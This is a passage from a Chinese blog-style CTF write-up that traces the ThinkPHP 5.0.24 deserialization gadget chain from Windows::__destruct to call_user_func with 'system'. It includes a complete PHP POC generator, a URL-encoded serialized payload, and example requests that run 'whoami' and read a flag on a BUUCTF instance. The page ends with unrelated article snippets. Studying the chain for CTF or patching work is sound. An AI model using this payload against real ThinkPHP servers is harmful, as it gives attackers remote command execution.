    //如果getRelation($key)为空,那么$relation为空,那么,就可以往下进行                   
                        if (!$relation) {
    //这里继续把键值传给getAttr($key)函数,我们进入getAttr($key)函数                    
                            $relation = $this->getAttr($key);
                            if (!$relation) {
                                $relation->visible($name);
                            }
                        }
                        
                        ......此处省略八十行代码
    

    我们在Attribute类找到了getAttr()函数,可以看到,getAttr()函数最后一行,最终是要返回value的值,而拿到了天使剧本(跟踪整个POC链后)发现了,value变量的值,就是第477行的this>getData(this->getData(name),那只能再进入getData($name)函数了

    在这里插入图片描述

    依旧在Attribute类找到了getData()函数,下图红框,就是要进入的分支

    在这里插入图片描述

    我们来看详细代码

    public function getData($name = null){
    //传过来的键值不为空,所以跳过这个if,进入下一个if
        if (is_null($name)) {
            return $this->data;
    //最后POC反序列化后,是进入到这里了,因为这里面我们可以在POC构造一个data变量(键值对),最后根据传过来的键,返回data中对应的值   
    //那么,第三个if中,relation为什么不能构造了?
    //因为上面说到getRelation()函数要返回空,所以array_key_exists($name, $this->relation)必须为false
    //综上所述,我们这里,在POC中,还需要构造一个data变量,并且也是个键值对的形式,并且键就是传过来的
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }
    

    好了,根据键,获取值,所以,结论如下

    $relation = $this->getAttr($key) = $this->getData($name) = $this->data[$name]
    这里的$name,实际在传参时传的是$key,所以在Conversion类中
    $relation = this->data[$key]
    

    再次回到Conversion类

                        ......此处省略一百八十行代码
                        
    if (!empty($this->append)) {
                foreach ($this->append as $key => $name) {         
                    if (is_array($name)) {
                        // 追加关联对象属性
                        $relation = $this->getRelation($key);
                        if (!$relation) {
                            $relation = $this->getAttr($key);
    //$relation = $this->data[$key]                        
                            if (!$relation) {                
    //$relation现在的值为data[$key],所以我们在构造POC时,data中不要又visible,为什么呢
    //在php中,如果调用不存在的方法时,会自动调用__call()函数,前提是这个对象实现了或者继承了__call()
    //在本例中,如果visible()函数不存在,会把visible和name作为参数传给__call()
    //那么关键问题
    //是_call()在哪?这里就要引入Request类了,因为,大佬们,通过全局搜索,搜索到了Request类里面有__call()
    //怎么和_call()扯上关系?如果$relation = $this->data[$key] = Request的对象呢?
                                $relation->visible($name);
                            }
                        }
                        
                        ......此处省略八十行代码
    

    进入Request类

    代码分析,可以看到这个Request类中,不仅有__call(),还有call_user_func_array(),call_user_func_array()一般就是RCE的最后一站

    //这里传过来的参数是visible(上面那个不存在函数),在本函数为method,和name(name是append数组的值),在本函数为args
        public function __call($method, $args)
        {
    if (array_key_exists($method, $this->hook))这里暗示我们POC可能需要构造一个hook变量,并且存在键名为visible
            if (array_key_exists($method, $this->hook)) {
                array_unshift($args, $this);
    //这里本身通过call_user_func_array()函数已经要可以进行RCE了,因为hook和args,都可控,但是But然而
    //上面有一个很刺眼的array_unshift()函数,这个会改变我们的args变量,所以这里,只能通过POC构造hook,使hook指向一个函数
    //再利用call_user_func_array()调用hook指向的那个函数,在那个函数里,再找危险函数,所以hook在这里起中转站的作用
                return call_user_func_array($this->hook[$method], $args);
            }
    
            throw new Exception('method not exists:' . static::class . '->' . $method);
        }
    

    还在Request类中,搜索call_user_func()

    找到了filterValue()中也是有call_user_func()这个危险函数的

    如下图,所以我们要向RCE,就要控制1466行的call_user_func($filter, $value),那么就要控制filter和value,但是value始终都会被上面的那个该死的array_unshift()改变,所以我们需要找到调用filterValue()的地方

    在这里插入图片描述

    还在Request类中,找到了input()方法,但是这个 input()方法中的data还是形参,还是不可控,再找调用input方法的地方

    在这里插入图片描述

    还在Request类中,找到了param()方法,但是这个 param()方法中的name还是形参,还是不可控,再找调用param方法的地方

    在这里插入图片描述

    还在Request类中,找到了isAjax()方法,这里在调用param()方法时,不再是用形参了,我们可以构造了

    所以hook变量那里面,中转,要中转到isAjax()方法,并且我们要构造一个config变量

    在这里插入图片描述

    找到了链的起始位置为isAjax(),而执行代码的位置为input()函数中的filterValue()函数,我们把代码汇总

    在这里插入图片描述

    在input()方法,会调用getData()函数和getFilter()方法,然后再调用filterValue()函数,我们把这几个函数放在一起

    //在input()函数中
    //通过getData()函数获取用户的get以及post组成的数组,值为data
    //这个data会被当做filterValue()函数的第一个参数,并执行函数
        protected function getData(array $data, $name)
        {
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    return;
                }
            }
    
            return $data;
        }
    
    //这里是对filter对象的的值进行一个赋值,从$filter = $filter ?: $this->filter
    //并且把赋值后的fileter传给filterValue()函数的第三个参数,并执行函数
    //所以我们需要构造一个fileter
        protected function getFilter($filter, $default)
        {
            if (is_null($filter)) {
                $filter = [];
            } else {
                $filter = $filter ?: $this->filter;
                if (is_string($filter) && false === strpos($filter, '/')) {
                    $filter = explode(',', $filter);
                } else {
                    $filter = (array) $filter;
                }
            }
    
            $filter[] = $default;
    
            return $filter;
        }
    
        $this->filterValue($data, $name, $filter);
    
        
        
    //input()函数之外
    
    //这里call_user_func($filter, $value)
    //call_user_func()的两个参数都来自filterValue()接收的参数
    //也就是说用户GET或POST传过来的参数,是call_user_func()的第二个也就是RCE的参数
    //POC构造的filter,是call_user_func()的第一个也就是最终执行的危险函数
        private function filterValue(&$value, $key, $filters)
        {
            $default = array_pop($filters);
    
            foreach ($filters as $filter) {
                if (is_callable($filter)) {
                    // 调用函数或者方法过滤
                    $value = call_user_func($filter, $value);
                } elseif (is_scalar($value)) {
                    if (false !== strpos($filter, '/')) {
                        // 正则过滤
                        if (!preg_match($filter, $value)) {
                            // 匹配不成功返回默认值
                            $value = $default;
                            break;
                        }
                    } elseif (!empty($filter)) {
                        // filter函数不存在时, 则使用filter_var进行过滤
                        // filter为非整形值时, 调用filter_id取得过滤id
                        $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                        if (false === $value) {
                            $value = $default;
                            break;
                        }
                    }
                }
            }
    
            return $value;
        }
    

    thinkphp反序列化利用链分析结束了

    看到这里,其实大多数人是蒙的,因为本身这个链,就很复杂,很多个转点,描述的时候,尚且很困单,更何况看的人了,这里用一张图,来简述一下

    在这里插入图片描述

    漏洞复现

    安装完phpstudy,将tp代码拷贝到WWW下,然后开启phpstudy,我用的默认80端口,然后把tp源码文件,放到了刚创建的thinkphp文件夹下,我把POC放到了WWW下

    访问POC,POC在第四章节,生成恶意反序列化字符串

    在这里插入图片描述

    火狐POST访问,执行代码,POST的参数,就是生成的反序列化字符串

    http://IP/public/?s=index/index/hello&ethan=whoami
    
    str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
    

    在这里插入图片描述

    拿到flag,我自己本地可没flag,这得用BUUCTF的在线环境呢,开一个,拿到flag(其实省略了很多ls的过程)

    http://a76bf014-4aa0-4668-8f2d-76573a81b658.node3.buuoj.cn/thinkphp/public/?s=index/index/hello&ethan=cat ../../../../FLAG
    
    str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
    

    在这里插入图片描述

    在这里插入图片描述

    POC反序列化链跟踪

    所谓温故而知新,可以为师矣,源码也审计过了,漏洞也复现过了,那么为什么我们POST传了一个字符串,GET传入了一个命令,就把我们的命令执行了?相信有一部分人还很萌+蒙,那么这一章节,就是用变量跟踪+phpstudy,通过POC入手,跟踪源码

    代码不好懂的,我已经整理成表格了

    在这里插入图片描述

    首先,根据源码,可以看到Index.php是接收我们变量的地方

    在这里插入图片描述

    访问一下

    在这里插入图片描述

    在Index类中,会将我们传入的序列化字符串进行反序列化,生成Windows的对象,在这个对象不用的时候,会调用__destruct()函数

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    先看下图中红框,按照我们POC的执行,这里的append经过反序列化后,应该是一个键对应一个数组

    键为:ethan

    值为:[“calc.exe”,“calc”]

    所以,往下的函数调用中

    key:ethan

    name:[“calc.exe”,“calc”]

    relation:从未操作过,所以为null,但是下次就不能直接vardump()一个空的了,不然程序就不往下进行啦

    在这里插入图片描述

    在这里插入图片描述

    可以看到,输出了,name还是键值,relation,还是null,没动过,最后前两个if分支都没进入,直接return;

    name:ethan

    relation:null

    在这里插入图片描述

    在这里插入图片描述

    可以看到name还是键,value这里已经是一个Request的对象了

    name:键

    value:Request对象

    在这里插入图片描述

    在这里插入图片描述

    所以经过上面这一步,value是一个Request的对象,所以下面的relation也应该是Request的对象

    在这里插入图片描述

    在这里插入图片描述

    进入Request类,可以看到

    method:visible
    $this->hook[$method]:isAjax()
    
    array_unshitf前
    
    args:Array (    [0] => Array        (            [0] => calc.exe            [1] => calc        ) )
    
    
    array_unshitf后
    
    args:Array ( 一大坨.....   [0] => Array        (            [0] => calc.exe            [1] => calc        ) )
    
    

    所以我们在最后的call_user_func_array,传入这样一个有一大坨的args,就算执行了危险函数,页面没法执行calc进程

    在这里插入图片描述

    另辟蹊径,通过hook找到了isAjax

    $this->config['var_ajax']:null
    

    在这里插入图片描述

    进入到param()函数中,可以看到,这里是把我们通过POST和GET传入的参数都拿到了,而name依旧为空,并且最后进入的是return里面的input函数

    param:array(2) { ["ethan"]=> string(6) "whoami" ["str"]=> string(400) "O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":2:{s:9:"*append";a:1:{s:5:"ethan";a:2:{i:0;s:8:"calc.exe";i:1;s:4:"calc";}}s:17:"think\Modeldata";a:1:{s:5:"ethan";O:13:"think\Request":3:{s:7:"*hook";a:1:{s:7:"visible";a:2:{i:0;r:9;i:1;s:6:"isAjax";}}s:9:"*filter";s:6:"system";s:9:"*config";a:1:{s:8:"var_ajax";s:0:"";}}}}}}" }
    
    name:string(0) "" 
    

    在这里插入图片描述

    在这里插入图片描述

    来到input()函数中

    在这里插入图片描述

    在这里插入图片描述

    经过getFileter()函数后,filter为system

    在这里插入图片描述

    在这里插入图片描述

    放松一下喝一杯卡布奇诺,我已经写了一身的汗了~

    OK,准备进入最后一站,相信这一站,我不用过多的解释了,所以我们做了上面NNNNN+1的天秀操作,就是为了构造出POC让代码能顺利进行到这里成功执行call_user_func()函数,并且

    filter:system
    value:用户通过GEt请求输入的命令
    

    在这里插入图片描述

    在这里插入图片描述

    POC

    <?php
    namespace think;
    abstract class Model{
        protected $append = [];
        private $data = [];
        function __construct(){
            $this->append = ["ethan"=>["calc.exe","calc"]];
            $this->data = ["ethan"=>new Request()];
        }
    }
    class Request
    {
        protected $hook = [];
        protected $filter = "system";
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '_ajax',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
        }
    }
    namespace think\process\pipes;
    
    use think\model\concern\Conversion;
    use think\model\Pivot;
    class Windows
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
    namespace think\model;
    
    use think\Model;
    
    class Pivot extends Model
    {
    }
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows()));
    ?>
    
    展开全文
  • 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后发现之前听的迷糊更多是因为对于反序列漏洞思路不够清晰,明白了反序列的流程之后,...
  • Thinkphp 5.0.24反序列化漏洞修复方案

    千次阅读 2020-11-24 17:10:47
    网上有很多讲解如何利用这个漏洞进行攻击,百度Thinkphp 5.0.24反序化漏洞会出来一堆。 但是如何修复这个漏洞没有讲解,我去Thinkphp 官网上也没有查到,我的建议一个是升级Thinkphp版本。 下面是我的修复方案: ...
  • pikachu靶场___反序列化漏洞教程1、靶场环境搭建使用2、基础知识讲解2.1 什么是反序列化2.2 为什么会产生这个漏洞?2.3 漏洞原理分析2.4 漏洞演示 1、靶场环境搭建使用 详见 ...
  • 如何解决PHP的session反序列化漏洞问题发布时间:2020-07-21 14:42:35来源:亿速云阅读:74作者:Leah这篇文章将为大家详细讲解有关如何解决PHP的session反序列化漏洞问题,文章内容质量较高,因此小编分享给大家做...
  • 在之前的文章中讲解了一个反序列化的例子,我们已经知道,通过反序列化漏洞,黑客可以调用到Runtime.exec()来进行命令执行。换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了你的服务器,...
  • 反序列化漏洞的详细说明可在这篇博客上了解到,讲解还是比较详细的: https://blog.csdn.net/qq_19876131/article/details/52890854 本题目主要就是利用HITCON和SoFun两个类中的__wakeup函数,我们可以控制HIT....
  • 漏洞复现篇——Struts2反序列化漏洞

    千次阅读 2020-03-03 10:28:26
    Struts2是什么? Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。...这套 Struts2 入门教程对 Struts2 框架进行了讲解,采用基础知识与案例相结...
  • Python 反序列安全问题(一)这一段时间使用flask做web开发,使用了redis存储session,阅读了flask_session源码,发现在存储session到redis过程中,利用...一、基础知识讲解1.1 cPickle模块Python中主要是用cPickle...
  • 序列其实就是将对象转换为流,利于储存和传输的格式,反序列就是跟序列反过来,可以fastjson反序列会有漏洞,大家要怎么去绕过这个漏洞呢?下面我们就给大家讲解一下。如果Java应用对用户输入,即不可信数据...
  • 好吧,这个在网上的讲解一大堆了。我之所以写这个呢,是为了加深理解序列和反序列,当然还有反射。 序列,它是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久存储。 ...
  • [CTF]PHP反序列总结

    千次阅读 多人点赞 2021-02-03 10:48:07
    过滤后字符变多情况2:过滤后字符变少对象注入POP链的构造利用POP链简单介绍简单案例讲解PHP原生类反序列化利用SoapClient介绍利用方式实战Phar反序列化什么是phar文件phar文件的结构漏洞利用条件受影响的函数绕过...
  • 此篇文章为java反序列化系列文章的第一篇,后续会以ysoserial这款工具为中心,挨个的去分析其中的反序列化payload和gadget,讲完该工具后会继续对工具中没有的java 反序列化漏洞进行讲解,例如 FastJs
  • 0x00前言Java反序列化漏洞一直都是Java Web漏洞中比较难以理解的点,尤其是碰到了RMI和JNDI种种概念时,就更加的难以理解了。笔者根据网上各类相关文章中的讲解,再结合自己对RMI JRMP以及JNDI等概念的理解,对 RMI...
  • 本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目尝试一些反序列化漏洞,去了解成因,从实践中去明白什么是反序列化漏洞。实操知识点指路(PC端复制链接开始操作):https:/...

空空如也

空空如也

1 2
收藏数 31
精华内容 12
关键字:

反序列化漏洞讲解